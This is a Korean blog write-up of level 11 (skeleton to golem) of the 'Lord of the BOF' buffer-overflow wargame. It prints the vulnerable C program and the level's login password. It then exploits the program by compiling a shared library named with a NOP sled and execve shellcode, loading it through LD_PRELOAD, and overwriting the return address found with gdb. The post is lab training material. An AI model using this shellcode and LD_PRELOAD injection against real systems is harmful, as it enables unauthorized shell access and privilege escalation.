SH1R0_HACKER
11. skeleton -> golem 본문
id : skeleton
password : shellcoder
[ golem.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
이제는 스택을 부숴버린다.
RET위치 이후 모든 스택을 0으로 초기화 시켜버리는 stack destroyer가 추가되었다.
그리고 buffer도 44byte만큼 0으로 초기화 시켜버린다.
결론으로 argv, buffer, 환경변수를 이용한 공격은 불가능하다.
음...그렇다면 방법은 buffer 위에 있는 무엇인가를 찾아서 써야한다는건데
그것이 바로 "LD_PRELOAD" 라는 녀석이다.
[ LD_PRELOAD ]
구글에 LD_PRELOAD를 검색하면 후킹(Hooking)을 할 때 사용하는 환경변수라는것을 알 수 있다.
후킹이란 무엇인지 간단하게 알아보면 다음과 같다.
프로그램을 실행할 때 환경변수 LD_PRELOAD가 설정되어 있으면 메모리에 프로그램을 로드할 때
이 친구를 가장 먼저 메모리에 로드한다.
그래서 LD_PRELOAD에 라이브러리를 지정해주면 공유라이브러리의 라이브러리보다 LD_PRELOAD에 지정해준
라이브러리를 먼저 참조하게 된다는 것이다.
예시는 아래 블로그를 참고하면 될 것 같다.
우선 환경변수 LD_PRELOAD를 써먹을 파일을 하나 만들어주자.
쉘코드 이름으로 컴파일하자.
동적 라이브러리로 사용하기 위해서는 gcc -fPIC -shared 명령어를 이용하면 된다.
gcc -fPIC -shared lol.c -o `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
이제 환경변수 LD_PRELOAD를 이 파일로 걸어주자.
export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`"
이제 golem2 (golem 사본)을 gdb로 열고 RET에 브레이크포인트를 건 후 파일이름이 어디에 올라갔는지 확인해보자.
r `python -c 'print "A"*47+"\xbf"'`
x/40x $esp-5000
여기에 올라와있다.
RET 주소를 0xbffff5d4로 잡자.
'System > The Lord of BOF' 카테고리의 다른 글
13. darkknight -> bugbear (0) | 2021.02.03 |
---|---|
12. golem -> darkknight (0) | 2020.10.30 |
10. vampire -> skeleton (0) | 2020.10.28 |
9. troll -> vampire (0) | 2020.10.27 |
8. orge -> troll (0) | 2020.10.26 |